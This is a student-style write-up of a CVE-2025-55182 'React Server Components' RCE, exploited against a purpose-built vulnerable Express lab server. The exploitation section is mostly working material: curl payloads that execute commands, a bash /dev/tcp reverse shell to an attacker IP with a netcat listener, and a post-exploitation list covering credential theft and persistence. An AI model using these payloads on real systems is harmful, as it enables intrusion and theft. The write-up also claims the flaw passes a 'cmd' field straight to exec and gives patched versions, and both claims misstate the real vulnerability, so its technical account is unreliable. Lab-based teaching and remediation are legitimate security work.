CVE-2025-55182 — React Server Components RCE Analysis

Web application vulnerability analysis · M2 Cybersecurity · 2025 Author: Niane Mohamed · LinkedIn

End-to-end exploitation chain of a critical (CVSS 10.0) insecure deserialization vulnerability in React Server Components, from reconnaissance to unauthenticated remote code execution, with full remediation roadmap.

---

⚠️ Ethical Disclaimer

This research targets a deliberately vulnerable lab application built to demonstrate the CVE. All testing occurred in an isolated virtual network with no connection to production systems, real user data, or third-party services.

• Do NOT run these techniques against systems you do not own or lack explicit written authorization to test.
• Do NOT deploy the vulnerable application to any internet-reachable network.
• Responsible disclosure principles apply — always report findings through coordinated channels.

---

Table of Contents

1. Vulnerability Summary
2. Affected Versions
3. Lab Environment
4. Exploitation Walkthrough
5. Impact Assessment
6. Remediation
7. Skills Demonstrated

---

Vulnerability Summary

Field	Value
CVE	CVE-2025-55182
Class	Insecure Deserialization → Remote Code Execution
CVSS v3.1	10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authentication required	None
User interaction required	None
Attack vector	Network (remote)
Component	React Server Components (RSC) runtime

How the vulnerability works

React Server Components introduced a new serialization format to stream server-rendered components to the client. In vulnerable versions, the RSC endpoint accepts a JSON payload with a cmd field that is passed unsanitized to child_process.exec() as part of the server-side rendering evaluation.

An attacker can send a crafted POST request that:

1. Is accepted as a legitimate RSC payload (no auth, no CSRF)
2. Triggers server-side code execution during the "render"
3. Runs with the privileges of the Node.js process (often root in containers)

---

Affected Versions

Component	Vulnerable Range	Patched In
react	19.0.0 → 19.2.0	19.3.0+
react-server-dom-webpack	19.0.0 → 19.2.0	19.3.0+
react-server-dom-esm	19.0.0 → 19.2.0	19.3.0+

---

Lab Environment

Role	OS	Tools
Attacker	Kali Linux (latest)	nmap, curl, netcat, OWASP ZAP, Firefox
Target	Ubuntu 22.04.4	Node.js 18, Express, React 19.0 RSC
Network	VMware VMnet Host-Only	No internet egress

Target application

A minimal Express + RSC server exposing a /rsc endpoint that unsafely executes commands from the incoming payload — reproducing the vulnerability pattern of the real CVE in a controlled way:

// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

---

Exploitation Walkthrough

Phase 1 — Reconnaissance

# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

The X-Powered-By: Express header and unusual port 3000 provide a strong fingerprint that this is a Node.js application — consistent with RSC deployments.

Phase 2 — Confirmation via benign command

Before attempting anything destructive, validate the vulnerability with a harmless command:

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confirmed: unauthenticated RCE as root. The server runs with unconstrained privileges.

Phase 3 — Reverse shell

Upgrade from single-command execution to a full interactive shell:

# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

Listener receives:

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Phase 4 — Post-exploitation potential (demonstrated, not executed)

With root on the target, an attacker could trivially:

• Read /etc/shadow, SSH keys, application secrets, .env files
• Install persistence (cron jobs, systemd services, SSH key implants)
• Pivot laterally via discovered credentials
• Deploy cryptominers or ransomware
• Modify the Node.js application to capture user data silently

---

Impact Assessment

Business impact (fictional target scenario)

Axis	Impact	Explanation
Confidentiality	Critical	Full read access to all server data
Integrity	Critical	Ability to modify application code and user data
Availability	High	Attacker can terminate the service or hold it for ransom
Regulatory	Severe	GDPR/DSGVO breach with mandatory 72h disclosure · potential 4% global revenue fine
Reputational	Severe	Public CVE-mapped breach damages customer trust
Financial	High	Incident response, regulatory fines, potential class action

Threat actor profile

The low complexity of this attack — no authentication, no user interaction, single HTTP request — makes it attractive to:

• Opportunistic scanners (botnets auto-scanning for the CVE)
• Initial access brokers selling footholds to ransomware groups
• Nation-state actors targeting organizations using React server-rendering

---

Remediation

Immediate (within 24 hours)

1. Upgrade React to 19.3.0+ — patched version

   npm update react react-server-dom-webpack react-server-dom-esm
   

2. Temporary WAF rule (if upgrade is delayed):

   Block POST requests to /rsc with JSON body containing "cmd" field
   

3. Emergency incident response:

   • Review server access logs for past 90 days
   • Look for unusual /rsc POST traffic
   • Rotate all secrets accessible from the server
   • Snapshot the affected system for forensics before remediation

Short-term (within 2 weeks)

Control	Purpose
Disable RSC if unused	Reduce attack surface — many apps don't need server components
Strict input validation	Reject any deserialized object containing executable keys
Non-root container user	Limit blast radius if RCE recurs
Read-only root filesystem	Prevent persistence and binary drop
Egress filtering	Block outbound traffic from app servers to arbitrary IPs

Long-term (within 1 quarter)